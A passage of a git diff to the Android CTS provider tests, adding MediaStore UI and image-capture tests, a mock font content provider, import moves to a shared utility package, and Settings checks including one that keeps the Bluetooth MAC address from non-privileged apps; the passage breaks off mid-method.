+import java.io.FileReader;
+import java.io.OutputStream;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class MediaStoreUiTest extends InstrumentationTestCase {
+    private static final String TAG = "MediaStoreUiTest";
+
+    private static final int REQUEST_CODE = 42;
+    private static final String CONTENT = "Test";
+
+    private UiDevice mDevice;
+    private GetResultActivity mActivity;
+
+    private File mFile;
+    private Uri mMediaStoreUri;
+
+    @Override
+    public void setUp() throws Exception {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+
+        final Context context = getInstrumentation().getContext();
+        mActivity = launchActivity(context.getPackageName(), GetResultActivity.class, null);
+        mActivity.clearResult();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (mFile != null) {
+            mFile.delete();
+        }
+
+        final ContentResolver resolver = mActivity.getContentResolver();
+        for (UriPermission permission : resolver.getPersistedUriPermissions()) {
+            mActivity.revokeUriPermission(
+                    permission.getUri(),
+                    Intent.FLAG_GRANT_READ_URI_PERMISSION
+                        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        }
+
+        mActivity.finish();
+    }
+
+    public void testGetDocumentUri() throws Exception {
+        if (!supportsHardware()) return;
+
+        prepareFile();
+
+        final Uri treeUri = acquireAccess(mFile, Environment.DIRECTORY_DOCUMENTS);
+        assertNotNull(treeUri);
+
+        final Uri docUri = MediaStore.getDocumentUri(mActivity, mMediaStoreUri);
+        assertNotNull(docUri);
+
+        final ContentResolver resolver = mActivity.getContentResolver();
+        try (ParcelFileDescriptor fd = resolver.openFileDescriptor(docUri, "rw")) {
+            // Test reading
+            try (final BufferedReader reader =
+                         new BufferedReader(new FileReader(fd.getFileDescriptor()))) {
+                assertEquals(CONTENT, reader.readLine());
+            }
+
+            // Test writing
+            try (final OutputStream out = new FileOutputStream(fd.getFileDescriptor())) {
+                out.write(CONTENT.getBytes());
+            }
+        }
+    }
+
+    public void testGetDocumentUri_ThrowsWithoutPermission() throws Exception {
+        if (!supportsHardware()) return;
+
+        prepareFile();
+
+        try {
+            MediaStore.getDocumentUri(mActivity, mMediaStoreUri);
+            fail("Expecting SecurityException.");
+        } catch (SecurityException e) {
+            // Expected
+        }
+    }
+
+    private void maybeClick(UiSelector sel) {
+        try { mDevice.findObject(sel).click(); } catch (Throwable ignored) { }
+    }
+
+    private void maybeClick(BySelector sel) {
+        try { mDevice.findObject(sel).click(); } catch (Throwable ignored) { }
+    }
+
+    /**
+     * Verify that whoever handles {@link MediaStore#ACTION_IMAGE_CAPTURE} can
+     * correctly write the contents into a passed {@code content://} Uri.
+     */
+    public void testImageCapture() throws Exception {
+        final Context context = getInstrumentation().getContext();
+        if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
+            Log.d(TAG, "Skipping due to lack of camera");
+            return;
+        }
+
+        final File targetDir = new File(context.getFilesDir(), "debug");
+        final File target = new File(targetDir, "capture.jpg");
+
+        targetDir.mkdirs();
+        assertFalse(target.exists());
+
+        final Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
+        intent.putExtra(MediaStore.EXTRA_OUTPUT,
+                FileProvider.getUriForFile(context, "android.provider.cts.fileprovider", target));
+
+        // Figure out who is going to answer the phone
+        final ResolveInfo ri = context.getPackageManager().resolveActivity(intent, 0);
+        final String pkg = ri.activityInfo.packageName;
+        Log.d(TAG, "We're probably launching " + ri);
+
+        // Grant them all the permissions they might want
+        getInstrumentation().getUiAutomation().executeShellCommand("pm grant "
+                + pkg + " " + android.Manifest.permission.CAMERA);
+        getInstrumentation().getUiAutomation().executeShellCommand("pm grant "
+                + pkg + " " + android.Manifest.permission.ACCESS_COARSE_LOCATION);
+        getInstrumentation().getUiAutomation().executeShellCommand("pm grant "
+                + pkg + " " + android.Manifest.permission.ACCESS_FINE_LOCATION);
+        getInstrumentation().getUiAutomation().executeShellCommand("pm grant "
+                + pkg + " " + android.Manifest.permission.RECORD_AUDIO);
+        getInstrumentation().getUiAutomation().executeShellCommand("pm grant "
+                + pkg + " " + android.Manifest.permission.READ_EXTERNAL_STORAGE);
+        getInstrumentation().getUiAutomation().executeShellCommand("pm grant "
+                + pkg + " " + android.Manifest.permission.WRITE_EXTERNAL_STORAGE);
+        SystemClock.sleep(DateUtils.SECOND_IN_MILLIS);
+
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+        mDevice.waitForIdle();
+
+        // Try a couple different strategies for taking a photo: first take a
+        // photo and confirm using hardware keys
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_CAMERA);
+        mDevice.waitForIdle();
+        SystemClock.sleep(5 * DateUtils.SECOND_IN_MILLIS);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_DPAD_CENTER);
+        mDevice.waitForIdle();
+
+        // Maybe that gave us a result?
+        Result result = mActivity.getResult(15, TimeUnit.SECONDS);
+        Log.d(TAG, "First pass result was " + result);
+
+        // Hrm, that didn't work; let's try an alternative approach of digging
+        // around for a shutter button
+        if (result == null) {
+            maybeClick(new UiSelector().resourceId(pkg + ":id/shutter_button"));
+            mDevice.waitForIdle();
+            SystemClock.sleep(5 * DateUtils.SECOND_IN_MILLIS);
+            maybeClick(new UiSelector().resourceId(pkg + ":id/shutter_button"));
+            mDevice.waitForIdle();
+            maybeClick(new UiSelector().resourceId(pkg + ":id/done_button"));
+            mDevice.waitForIdle();
+
+            result = mActivity.getResult(15, TimeUnit.SECONDS);
+            Log.d(TAG, "Second pass result was " + result);
+        }
+
+        // Grr, let's try hunting around even more
+        if (result == null) {
+            maybeClick(By.pkg(pkg).descContains("Capture"));
+            mDevice.waitForIdle();
+            SystemClock.sleep(5 * DateUtils.SECOND_IN_MILLIS);
+            maybeClick(By.pkg(pkg).descContains("Done"));
+            mDevice.waitForIdle();
+
+            result = mActivity.getResult(15, TimeUnit.SECONDS);
+            Log.d(TAG, "Third pass result was " + result);
+        }
+
+        assertNotNull("Expected to get a IMAGE_CAPTURE result; your camera app should "
+                + "respond to the CAMERA and DPAD_CENTER keycodes", result);
+
+        assertTrue("exists", target.exists());
+        assertTrue("has data", target.length() > 65536);
+
+        // At the very least we expect photos generated by the device to have
+        // sane baseline EXIF data
+        final ExifInterface exif = new ExifInterface(new FileInputStream(target));
+        assertAttribute(exif, ExifInterface.TAG_MAKE);
+        assertAttribute(exif, ExifInterface.TAG_MODEL);
+        assertAttribute(exif, ExifInterface.TAG_DATETIME);
+    }
+
+    private static void assertAttribute(ExifInterface exif, String tag) {
+        final String res = exif.getAttribute(tag);
+        if (res == null || res.length() == 0) {
+            Log.d(TAG, "Expected valid EXIF tag for tag " + tag);
+        }
+    }
+
+    private boolean supportsHardware() {
+        final PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        return !pm.hasSystemFeature("android.hardware.type.television")
+                && !pm.hasSystemFeature("android.hardware.type.watch");
+    }
+
+    private void prepareFile() throws Exception {
+        assertEquals(Environment.MEDIA_MOUNTED, Environment.getExternalStorageState());
+
+        final File documents =
+                Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS);
+        documents.mkdirs();
+        assertTrue(documents.isDirectory());
+
+        mFile = new File(documents, "test.txt");
+        try (OutputStream os = new FileOutputStream(mFile)) {
+            os.write(CONTENT.getBytes());
+        }
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        MediaScannerConnection.scanFile(
+                mActivity,
+                new String[]{ mFile.getAbsolutePath() },
+                new String[]{ "plain/text" },
+                (String path, Uri uri) -> onScanCompleted(uri, latch)
+        );
+        assertTrue(
+                "MediaScanner didn't finish scanning in 30s.", latch.await(30, TimeUnit.SECONDS));
+    }
+
+    private void onScanCompleted(Uri uri, CountDownLatch latch) {
+        mMediaStoreUri = uri;
+        latch.countDown();
+    }
+
+    private Uri acquireAccess(File file, String directoryName) {
+        StorageManager storageManager =
+                (StorageManager) mActivity.getSystemService(Context.STORAGE_SERVICE);
+
+        // Request access from DocumentsUI
+        final StorageVolume volume = storageManager.getStorageVolume(file);
+        final Intent intent = volume.createAccessIntent(directoryName);
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+        // Granting the access
+        BySelector buttonPanelSelector = By.pkg("com.android.documentsui")
+                .res("android:id/buttonPanel");
+        mDevice.wait(Until.hasObject(buttonPanelSelector), 30 * DateUtils.SECOND_IN_MILLIS);
+        final UiObject2 buttonPanel = mDevice.findObject(buttonPanelSelector);
+        final UiObject2 allowButton = buttonPanel.findObject(By.res("android:id/button1"));
+        allowButton.click();
+
+        mDevice.waitForIdle();
+
+        // Check granting result and take persistent permission
+        final Result result = mActivity.getResult();
+        assertEquals(Activity.RESULT_OK, result.resultCode);
+
+        final Intent resultIntent = result.data;
+        final Uri resultUri = resultIntent.getData();
+        final int flags = resultIntent.getFlags()
+                & (Intent.FLAG_GRANT_READ_URI_PERMISSION
+                    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        mActivity.getContentResolver().takePersistableUriPermission(resultUri, flags);
+        return resultUri;
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
index 3bd81ce..9c9d9ca 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
@@ -21,7 +21,6 @@
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.res.AssetFileDescriptor;
-import android.cts.util.FileCopyHelper;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
@@ -32,6 +31,8 @@
 import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.FileCopyHelper;
+
 import java.io.File;
 import java.io.FileNotFoundException;
 
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
index 8fe95f5..621d973 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
@@ -16,13 +16,10 @@
 
 package android.provider.cts;
 
-import android.provider.cts.R;
-
 import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
 import android.content.Context;
-import android.cts.util.FileCopyHelper;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
@@ -30,8 +27,10 @@
 import android.os.SystemClock;
 import android.provider.MediaStore;
 import android.provider.MediaStore.MediaColumns;
+import android.provider.MediaStore.Files.FileColumns;
 import android.test.AndroidTestCase;
-import android.util.Log;
+
+import com.android.compatibility.common.util.FileCopyHelper;
 
 import java.io.File;
 import java.io.FileNotFoundException;
@@ -39,7 +38,6 @@
 import java.io.FilenameFilter;
 import java.io.IOException;
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.Collections;
 import java.util.List;
 
@@ -64,6 +62,10 @@
         final String testName = getClass().getCanonicalName();
         mResolver.delete(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI,
                 "_data LIKE ?1", new String[] {"%" + testName + "%"});
+
+        mResolver.delete(MediaStore.Files.getContentUri("external"),
+                "_data LIKE ?1", new String[] {"%" + testName + "%"});
+
         File ext = Environment.getExternalStorageDirectory();
         File[] junk = ext.listFiles(new FilenameFilter() {
 
@@ -481,6 +483,36 @@
         return paths;
     }
 
+    public void testUpdateMediaType() throws Exception {
+        String fileDir = Environment.getExternalStorageDirectory() +
+                "/" + getClass().getCanonicalName();
+        String fileName = fileDir + "/test.mp3";
+        writeFile(R.raw.testmp3, fileName);
+
+        String volumeName = MediaStoreAudioTestHelper.EXTERNAL_VOLUME_NAME;
+        Uri allFilesUri = MediaStore.Files.getContentUri(volumeName);
+        ContentValues values = new ContentValues();
+        values.put(MediaColumns.DATA, fileName);
+        values.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_AUDIO);
+        Uri fileUri = mResolver.insert(allFilesUri, values);
+
+
+        // There is special logic in MediaProvider#update() to update paths when a folder was moved
+        // or renamed. It only checks whether newValues only has one column but assumes the provided
+        // column is _data. We need to guard the case where there is only one column in newValues
+        // and it's not _data.
+        ContentValues newValues = new ContentValues(1);
+        newValues.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_NONE);
+        mResolver.update(fileUri, newValues, null, null);
+
+        try (Cursor c = mResolver.query(
+                fileUri, new String[] { FileColumns.MEDIA_TYPE }, null, null, null)) {
+            c.moveToNext();
+            assertEquals(FileColumns.MEDIA_TYPE_NONE,
+                    c.getInt(c.getColumnIndex(FileColumns.MEDIA_TYPE)));
+        }
+    }
+
     private static File[] dropFirst(File[] before) {
         final File[] after = new File[before.length - 1];
         System.arraycopy(before, 1, after, 0, after.length);
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index 1c00aac..7a66c8c 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -21,8 +21,6 @@
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
-import android.cts.util.FileCopyHelper;
-import android.cts.util.FileUtils;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
@@ -34,6 +32,9 @@
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.FileCopyHelper;
+import com.android.compatibility.common.util.FileUtils;
+
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.lang.Math;
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
index db3db6b..62a041b 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
@@ -22,7 +22,6 @@
 import android.content.ContentUris;
 import android.content.ContentValues;
 import android.content.Context;
-import android.cts.util.FileCopyHelper;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
@@ -34,6 +33,8 @@
 import android.provider.MediaStore.MediaColumns;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.FileCopyHelper;
+
 import java.io.File;
 import java.util.ArrayList;
 import android.util.DisplayMetrics;
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
index e50f18a..8ba8c17 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
@@ -21,13 +21,14 @@
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
-import android.cts.util.FileCopyHelper;
 import android.database.Cursor;
 import android.net.Uri;
 import android.provider.MediaStore.Video;
 import android.provider.MediaStore.Video.VideoColumns;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.FileCopyHelper;
+
 import java.util.ArrayList;
 
 public class MediaStore_VideoTest extends InstrumentationTestCase {
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
index 485b39c..14e76bb 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
@@ -22,8 +22,6 @@
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
-import android.cts.util.FileCopyHelper;
-import android.cts.util.FileUtils;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
@@ -32,6 +30,9 @@
 import android.provider.MediaStore.Video.VideoColumns;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.FileCopyHelper;
+import com.android.compatibility.common.util.FileUtils;
+
 import java.io.File;
 import java.io.IOException;
 
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
index 8e51cb8..26f353f 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
@@ -21,8 +21,6 @@
 import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
-import android.cts.util.FileCopyHelper;
-import android.cts.util.MediaUtils;
 import android.database.Cursor;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
@@ -34,6 +32,9 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.FileCopyHelper;
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.File;
 import java.io.IOException;
 
diff --git a/tests/tests/provider/src/android/provider/cts/MockFontProvider.java b/tests/tests/provider/src/android/provider/cts/MockFontProvider.java
new file mode 100644
index 0000000..3a64173
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/MockFontProvider.java
@@ -0,0 +1,269 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.provider.cts;
+
+import static android.provider.FontsContract.Columns;
+
+import android.content.ContentProvider;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.res.AssetManager;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.StandardCopyOption;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+public class MockFontProvider extends ContentProvider {
+    final static String AUTHORITY = "android.provider.fonts.cts.font";
+
+    final static String[] FONT_FILES = {
+        "samplefont1.ttf", "samplefont2.ttf", "samplefont.ttc",
+    };
+    private static final int SAMPLE_FONT_FILE_0_ID = 0;
+    private static final int SAMPLE_FONT_FILE_1_ID = 1;
+    private static final int SAMPLE_TTC_FONT_FILE_ID = 2;
+
+    static final String SINGLE_FONT_FAMILY_QUERY = "singleFontFamily";
+    static final String ALL_ATTRIBUTE_VALUES_QUERY = "allAttributeValues";
+    static final String MULTIPLE_FAMILY_QUERY = "multipleFontFamily";
+    static final String NOT_FOUND_QUERY = "notFound";
+    static final String UNAVAILABLE_QUERY = "unavailable";
+    static final String MALFORMED_QUERY = "malformed";
+    static final String NOT_FOUND_SECOND_QUERY = "notFoundSecond";
+    static final String NOT_FOUND_THIRD_QUERY = "notFoundThird";
+    static final String NEGATIVE_ERROR_CODE_QUERY = "negativeCode";
+    static final String MANDATORY_FIELDS_ONLY_QUERY = "mandatoryFields";
+
+    static class Font {
+        public Font(int id, int fileId, int ttcIndex, String varSettings, int weight, int italic,
+                int resultCode, boolean returnAllFields) {
+            mId = id;
+            mFileId = fileId;
+            mTtcIndex = ttcIndex;
+            mVarSettings = varSettings;
+            mWeight = weight;
+            mItalic = italic;
+            mResultCode = resultCode;
+            mReturnAllFields = returnAllFields;
+        }
+
+        public int getId() {
+            return mId;
+        }
+
+        public int getTtcIndex() {
+            return mTtcIndex;
+        }
+
+        public String getVarSettings() {
+            return mVarSettings;
+        }
+
+        public int getWeight() {
+            return mWeight;
+        }
+
+        public int getItalic() {
+            return mItalic;
+        }
+
+        public int getResultCode() {
+            return mResultCode;
+        }
+
+        public int getFileId() {
+            return mFileId;
+        }
+
+        public boolean isReturnAllFields() {
+            return mReturnAllFields;
+        }
+
+        private int mId;
+        private int mFileId;
+        private int mTtcIndex;
+        private String mVarSettings;
+        private int mWeight;
+        private int mItalic;
+        private int mResultCode;
+        private final boolean mReturnAllFields;
+    };
+
+    private static Map<String, Font[]> QUERY_MAP;
+    static {
+        HashMap<String, Font[]> map = new HashMap<>();
+        int id = 0;
+
+        map.put(SINGLE_FONT_FAMILY_QUERY, new Font[] {
+            new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 400, 0, Columns.RESULT_CODE_OK, true),
+        });
+
+        map.put(MULTIPLE_FAMILY_QUERY, new Font[] {
+            new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 400, 0, Columns.RESULT_CODE_OK, true),
+            new Font(id++, SAMPLE_FONT_FILE_1_ID, 0, null, 400, 0, Columns.RESULT_CODE_OK, true),
+            new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 700, 1, Columns.RESULT_CODE_OK, true),
+            new Font(id++, SAMPLE_FONT_FILE_1_ID, 0, null, 700, 1, Columns.RESULT_CODE_OK, true),
+        });
+
+        map.put(ALL_ATTRIBUTE_VALUES_QUERY, new Font[] {
+                new Font(id++, SAMPLE_TTC_FONT_FILE_ID, 0, "'wght' 100", 400, 0,
+                        Columns.RESULT_CODE_OK, true),
+                new Font(id++, SAMPLE_TTC_FONT_FILE_ID, 1, "'wght' 100", 700, 1,
+                        Columns.RESULT_CODE_OK, true),
+        });
+
+        map.put(NOT_FOUND_QUERY, new Font[] {
+                new Font(0, 0, 0, null, 400, 0, Columns.RESULT_CODE_FONT_NOT_FOUND, true),
+        });
+
+        map.put(UNAVAILABLE_QUERY, new Font[] {
+                new Font(0, 0, 0, null, 400, 0, Columns.RESULT_CODE_FONT_UNAVAILABLE, true),
+        });
+
+        map.put(MALFORMED_QUERY, new Font[] {
+                new Font(0, 0, 0, null, 400, 0, Columns.RESULT_CODE_MALFORMED_QUERY, true),
+        });
+
+        map.put(NOT_FOUND_SECOND_QUERY, new Font[] {
+                new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 700, 0, Columns.RESULT_CODE_OK,
+                        true),
+                new Font(0, 0, 0, null, 400, 0, Columns.RESULT_CODE_FONT_NOT_FOUND, true),
+        });
+
+        map.put(NOT_FOUND_THIRD_QUERY, new Font[] {
+                new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 700, 0, Columns.RESULT_CODE_OK,
+                        true),
+                new Font(0, 0, 0, null, 400, 0, Columns.RESULT_CODE_FONT_NOT_FOUND, true),
+                new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 700, 0, Columns.RESULT_CODE_OK,
+                        true),
+        });
+
+        map.put(NEGATIVE_ERROR_CODE_QUERY, new Font[] {
+                new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 700, 0, -5, true),
+        });
+
+        map.put(MANDATORY_FIELDS_ONLY_QUERY, new Font[] {
+                new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 400, 0,
+                        Columns.RESULT_CODE_OK, false),
+        });
+
+
+        QUERY_MAP = Collections.unmodifiableMap(map);
+    }
+
+    private static Cursor buildCursor(Font[] in) {
+        if (!in[0].mReturnAllFields) {
+            MatrixCursor cursor = new MatrixCursor(new String[] { Columns._ID, Columns.FILE_ID });
+            for (Font font : in) {
+                MatrixCursor.RowBuilder builder = cursor.newRow();
+                builder.add(Columns._ID, font.getId());
+                builder.add(Columns.FILE_ID, font.getFileId());
+            }
+            return cursor;
+        }
+        MatrixCursor cursor = new MatrixCursor(new String[] {
+                Columns._ID, Columns.TTC_INDEX, Columns.VARIATION_SETTINGS, Columns.WEIGHT,
+                Columns.ITALIC, Columns.RESULT_CODE, Columns.FILE_ID});
+        for (Font font : in) {
+            MatrixCursor.RowBuilder builder = cursor.newRow();
+            builder.add(Columns._ID, font.getId());
+            builder.add(Columns.FILE_ID, font.getFileId());
+            builder.add(Columns.TTC_INDEX, font.getTtcIndex());
+            builder.add(Columns.VARIATION_SETTINGS, font.getVarSettings());
+            builder.add(Columns.WEIGHT, font.getWeight());
+            builder.add(Columns.ITALIC, font.getItalic());
+            builder.add(Columns.RESULT_CODE, font.getResultCode());
+        }
+        return cursor;
+    }
+
+    public static void prepareFontFiles(Context context) {
+        final AssetManager mgr = context.getAssets();
+        for (String path : FONT_FILES) {
+            try (InputStream is = mgr.open(path)) {
+                Files.copy(is, getCopiedFile(context, path).toPath(),
+                        StandardCopyOption.REPLACE_EXISTING);
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    public static void cleanUpFontFiles(Context context) {
+        for (String file : FONT_FILES) {
+            getCopiedFile(context, file).delete();
+        }
+    }
+
+    public static File getCopiedFile(Context context, String path) {
+        return new File(context.getFilesDir(), path);
+    }
+
+    @Override
+    public ParcelFileDescriptor openFile(Uri uri, String mode) {
+        final int id = (int) ContentUris.parseId(uri);
+        final File targetFile = getCopiedFile(getContext(), FONT_FILES[id]);
+        try {
+            return ParcelFileDescriptor.open(targetFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        } catch (FileNotFoundException e) {
+            throw new RuntimeException(
+                    "Failed to find font file. Did you forget to call prepareFontFiles in setUp?");
+        }
+    }
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return "vnd.android.cursor.dir/vnd.android.provider.cts.font";
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return buildCursor(QUERY_MAP.get(selectionArgs[0]));
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException("insert is not supported.");
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException("delete is not supported.");
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException("update is not supported.");
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/PhotoUtil.java b/tests/tests/provider/src/android/provider/cts/PhotoUtil.java
index 4debd8f..49d57a7 100644
--- a/tests/tests/provider/src/android/provider/cts/PhotoUtil.java
+++ b/tests/tests/provider/src/android/provider/cts/PhotoUtil.java
@@ -19,7 +19,7 @@
 import android.provider.cts.R;
 
 import android.content.Context;
-import android.cts.util.FileUtils;
+import com.android.compatibility.common.util.FileUtils;
 
 import java.io.InputStream;
 
diff --git a/tests/tests/provider/src/android/provider/cts/SearchRecentSuggestionsTest.java b/tests/tests/provider/src/android/provider/cts/SearchRecentSuggestionsTest.java
index a17bcdd..ff79ae56 100644
--- a/tests/tests/provider/src/android/provider/cts/SearchRecentSuggestionsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SearchRecentSuggestionsTest.java
@@ -19,12 +19,13 @@
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
-import android.cts.util.PollingCheck;
 import android.database.Cursor;
 import android.net.Uri;
 import android.provider.SearchRecentSuggestions;
 import android.test.ProviderTestCase2;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 public class SearchRecentSuggestionsTest extends
         ProviderTestCase2<TestSearchRecentSuggestionsProvider> {
     private final static String AUTHORITY_HEAD = "content://"
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsTest.java b/tests/tests/provider/src/android/provider/cts/SettingsTest.java
index 382f911..71de3bd 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsTest.java
@@ -16,6 +16,8 @@
 
 package android.provider.cts;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 import android.content.ContentProviderClient;
 import android.content.ContentResolver;
 import android.content.ContentValues;
@@ -23,7 +25,6 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
-import android.cts.util.SystemUtil;
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.database.sqlite.SQLiteException;
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
index 6e3f4e6..7bb5908 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
@@ -18,6 +18,7 @@
 
 
 import android.content.ContentResolver;
+import android.database.Cursor;
 import android.net.Uri;
 import android.provider.Settings;
 import android.provider.Settings.Secure;
@@ -152,8 +153,39 @@
         assertEquals(Uri.withAppendedPath(Secure.CONTENT_URI, name), uri);
     }
 
-    public void testUnknownSourcesOffByDefault() throws SettingNotFoundException {
-        assertEquals("Device should not ship with 'Unknown Sources' enabled by default.",
-                0, Settings.Global.getInt(cr, Settings.Global.INSTALL_NON_MARKET_APPS));
+    public void testUnknownSourcesOnByDefault() throws SettingNotFoundException {
+        assertEquals("install_non_market_apps is deprecated. Should be set to 1 by default.",
+                1, Settings.Secure.getInt(cr, Settings.Global.INSTALL_NON_MARKET_APPS));
+    }
+
+    private static final String BLUETOOTH_MAC_ADDRESS_SETTING_NAME = "bluetooth_address";
+
+    /**
+     * Asserts that the secure setting containing the Android's Bluetooth MAC address is not
+     * available to non-privileged apps, such as the CTS test app in the context of which this test
+     * runs.
+     */
+    public void testBluetoothAddressNotAvailable() {
+        assertNull(Settings.Secure.getString(cr, BLUETOOTH_MAC_ADDRESS_SETTING_NAME));
+
+        // Assert this setting is not accessible when listing all settings
